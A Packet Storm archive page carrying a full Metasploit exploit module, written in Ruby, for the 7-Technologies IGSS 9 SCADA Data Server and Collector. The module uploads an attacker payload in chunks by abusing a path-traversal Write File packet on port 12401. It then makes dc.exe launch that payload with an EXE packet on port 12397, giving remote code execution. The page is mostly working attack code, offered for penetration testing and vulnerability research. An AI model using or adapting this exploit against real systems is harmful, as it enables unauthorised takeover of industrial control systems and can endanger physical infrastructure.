global security disclosure

7-Technologies IGSS 9 Data Server/Collector Packet Handling

7-Technologies IGSS 9 Data Server/Collector Packet Handling
Posted May 31, 2011
Authored by Luigi Auriemma, sinn3r | Site metasploit.com

This Metasploit module exploits multiple vulnerabilities found on IGSS 9's Data Server and Data Collector services. The initial approach is first by transferring our binary with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then sending an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run that payload with a CreateProcessA() function as a new thread.

tags | exploit, vulnerability
MD5 | 2b8a3b2a358404af9856bc15f95108a4

7-Technologies IGSS 9 Data Server/Collector Packet Handling

Change Mirror Download
##
# $Id: igss9_misc.rb 12773 2011-05-30 21:06:56Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities",
'Description' => %q{
This module exploits multiple vulnerabilities found on IGSS 9's Data Server and
Data Collector services. The initial approach is first by transferring our binary
with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send
an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run
that payload with a CreateProcessA() function as a new thread.
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'Luigi Auriemma', #Initial discovery, poc
'sinn3r', #Metasploit
],
'References' =>
[
[ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ], #Write File packet flaw
[ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ], #EXE packet flaw
],
'DefaultOptions' =>
{
'ExitFunction' => "none",
},
'Platform' => 'win',
'Targets' =>
[
#Service packs do not have any influence on the exploit
[ 'Windows XP', {} ],
[ 'Windows 7', {} ],
[ 'Windows Server 2003 / R2' , {} ],
],
'Privileged' => false,
'DisclosureDate' => "Mar 24 2011"))

register_options(
[
Opt::RPORT(0, false),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
], self.class)
end

def write_packets(data)
pkts = []

#Payload will be in C:\Documents and Settings\All Users\Application Data\7T\
tmp = rand_text_alpha(1)
filename = "#{tmp}.exe"

data_size = data.length

0.step(data_size, 870) do |s|
#Each packet only contains 870 bytes of data
chunk = data[s, 870]

#Data size of this packet
chunk_size = [chunk.length].pack('v')

#Flag is set if this is our last chunk
#Flag 0x01 will cause the server to close the connection
flag = (chunk.length >= 870) ? "\x00" : "\x01"

pkt = "\x01\x00\x34\x12"
pkt << "\x0D" #Opcode
pkt << "\x00"*7
pkt << flag #Flag
pkt << "\x00\x00\x00"
pkt << "\x02" #Command (Write File)
pkt << "\x00\x00\x00"
pkt << "../../../../#{filename}" #Filename
pkt << "\x00"*73
pkt << "\x3E\x01\x01\x02"
pkt << "\x00\x10"
pkt << "\x00\x00"
pkt << "\x78\x01\x08\x04"
pkt << "\x78\x01\x08\x04"
pkt << "\x00"*22
pkt << chunk_size #Data size
pkt << "\x00\x00"
pkt << chunk #Data chunk

#Add the total packet size to the header
pkt_size = [pkt.length + 2].pack('v')
pkt = pkt_size + pkt

#Put this packet to the array
pkts << pkt
end

return filename, pkts
end

def exe_packet(filename)
#Original path seems to be: C:\Program Files\7T\IGSS32\V9.0\GSS
#We'll just traverse our way back to C:\ as base
base = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"

pkt = "\x00\x01"
pkt << "\x00\x00\x00\x00\x00\x00\x00"
pkt << "\x01"
pkt << "\x00\x00"
pkt << "\x0A"
pkt << "\x00"*31
pkt << "#{base}Documents and Settings\\All Users\\Application Data\\7T\\#{filename}\""
pkt << "\x00"*143

return pkt
end

def exploit
#Generate payload and our Write packets
print_status("Generating payload...")
p = generate_payload_exe
fname, w_packets = write_packets(p)
w_packets_count = w_packets.length.to_s
print_status("#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)")

#Generate our EXE packet
e_packet = exe_packet(fname)

#Create socket to igssdataserver.exe (12401)
connect(true, {'RPORT'=>12401})

#Count how many packets we've sent to track progress
counter = 1

#Send Write packets
print_status("Sending Write packets...")

w_packets.each do |packet|
if datastore['VERBOSE']
print_status("Sending packet #{counter.to_s}/#{w_packets_count}")
counter += 1
end
sock.put(packet)
res = sock.get_once() #Wait before we do the next sock.put again
end

#After the 0x01 flag is set, our connection will be closed by the server.
disconnect

#Now to port 12397 (nc.exe)
connect(true, {'RPORT'=>12397})

print_status("Attempt to execute our payload...")
sock.put(e_packet)

#We must delay disconnect() for a bit, otherwise dc.exe won't call
#kernel32!CreateProcessA
select(nil, nil, nil, 1)
disconnect
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close